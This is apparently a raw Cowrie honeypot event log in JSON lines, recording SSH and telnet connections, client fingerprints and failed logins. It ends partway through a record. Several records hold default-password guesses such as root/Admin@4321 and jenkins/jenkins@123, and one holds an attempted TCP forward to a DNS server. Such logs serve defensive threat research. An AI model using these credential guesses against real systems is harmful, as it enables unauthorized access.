{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:49.303745Z","src_ip":"87.251.64.176","session":"f58a2f89cbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:49.404021Z","src_ip":"87.251.64.176","session":"f58a2f89cbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:49.675108Z","src_ip":"45.156.87.204","session":"b9dc7ec28a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7e21d22efd","protocol":"telnet","message":"New connection: 152.42.224.71:56070 (10.17.0.5:23) [session: af7e21d22efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:50.648566Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34064,"dst_ip":"159.203.135.109","dst_port":22,"session":"7636221dbb3e","protocol":"ssh","message":"New connection: 45.156.87.204:34064 (159.203.135.109:22) [session: 7636221dbb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:51.870902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:51.980887Z","src_ip":"45.156.87.204","session":"7636221dbb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:51.984914Z","src_ip":"45.156.87.204","session":"7636221dbb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:52.563138Z","src_ip":"45.156.87.204","session":"7636221dbb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":35540,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fcfb76ecabc","protocol":"ssh","message":"New connection: 170.106.151.211:35540 (159.203.135.109:22) [session: 7fcfb76ecabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:52.621637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:52.627072Z","src_ip":"170.106.151.211","session":"7fcfb76ecabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:52.696415Z","src_ip":"170.106.151.211","session":"7fcfb76ecabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@4321","message":"login attempt [root/Admin@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:53.002244Z","src_ip":"170.106.151.211","session":"7fcfb76ecabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:53.647805Z","src_ip":"45.156.87.204","session":"7636221dbb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:54.077180Z","src_ip":"170.106.151.211","session":"7fcfb76ecabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54004,"dst_ip":"159.203.135.109","dst_port":22,"session":"809fc6a1bbd3","protocol":"ssh","message":"New connection: 45.156.87.204:54004 (159.203.135.109:22) [session: 809fc6a1bbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:55.781719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:55.787683Z","src_ip":"45.156.87.204","session":"809fc6a1bbd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:55.872627Z","src_ip":"45.156.87.204","session":"809fc6a1bbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:56.119996Z","src_ip":"45.156.87.204","session":"809fc6a1bbd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53576,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf2eeff8883","protocol":"telnet","message":"New connection: 152.42.224.71:53576 (10.17.0.5:23) [session: baf2eeff8883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:56.832901Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:57.264540Z","src_ip":"45.156.87.204","session":"809fc6a1bbd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54014,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae54c8b42151","protocol":"ssh","message":"New connection: 45.156.87.204:54014 (159.203.135.109:22) [session: ae54c8b42151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:59.380194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:59.384956Z","src_ip":"45.156.87.204","session":"ae54c8b42151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:59.471368Z","src_ip":"45.156.87.204","session":"ae54c8b42151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:38:59.975553Z","src_ip":"45.156.87.204","session":"ae54c8b42151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:01.060813Z","src_ip":"45.156.87.204","session":"ae54c8b42151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.423476457595825,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:02.072010Z","src_ip":"152.42.224.71","session":"7cd8a1756c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52764,"dst_ip":"159.203.135.109","dst_port":22,"session":"435359dade82","protocol":"ssh","message":"New connection: 45.156.87.204:52764 (159.203.135.109:22) [session: 435359dade82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:03.227734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:03.233586Z","src_ip":"45.156.87.204","session":"435359dade82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.886844158172607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:03.243659Z","src_ip":"152.42.224.71","session":"c2e1c7deae94","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:03.316946Z","src_ip":"45.156.87.204","session":"435359dade82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:03.573015Z","src_ip":"45.156.87.204","session":"435359dade82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:04.662900Z","src_ip":"45.156.87.204","session":"435359dade82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52770,"dst_ip":"159.203.135.109","dst_port":22,"session":"c870a88be390","protocol":"ssh","message":"New connection: 45.156.87.204:52770 (159.203.135.109:22) [session: c870a88be390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:06.735296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:06.745842Z","src_ip":"45.156.87.204","session":"c870a88be390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:06.830406Z","src_ip":"45.156.87.204","session":"c870a88be390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.83722233772278,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:07.055889Z","src_ip":"152.42.224.71","session":"31277b415c2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:07.152663Z","src_ip":"45.156.87.204","session":"c870a88be390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40252,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b1502aa62d","protocol":"ssh","message":"New connection: 38.93.206.2:40252 (159.203.135.109:22) [session: f2b1502aa62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:08.233239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:08.239205Z","src_ip":"38.93.206.2","session":"f2b1502aa62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:08.248130Z","src_ip":"45.156.87.204","session":"c870a88be390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:08.293603Z","src_ip":"38.93.206.2","session":"f2b1502aa62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katrin","message":"login attempt [root/katrin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:08.451026Z","src_ip":"38.93.206.2","session":"f2b1502aa62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":43694,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e05e6208bcb","protocol":"ssh","message":"New connection: 83.111.76.195:43694 (159.203.135.109:22) [session: 6e05e6208bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:09.243788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:39:09.249189Z","src_ip":"83.111.76.195","session":"6e05e6208bcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 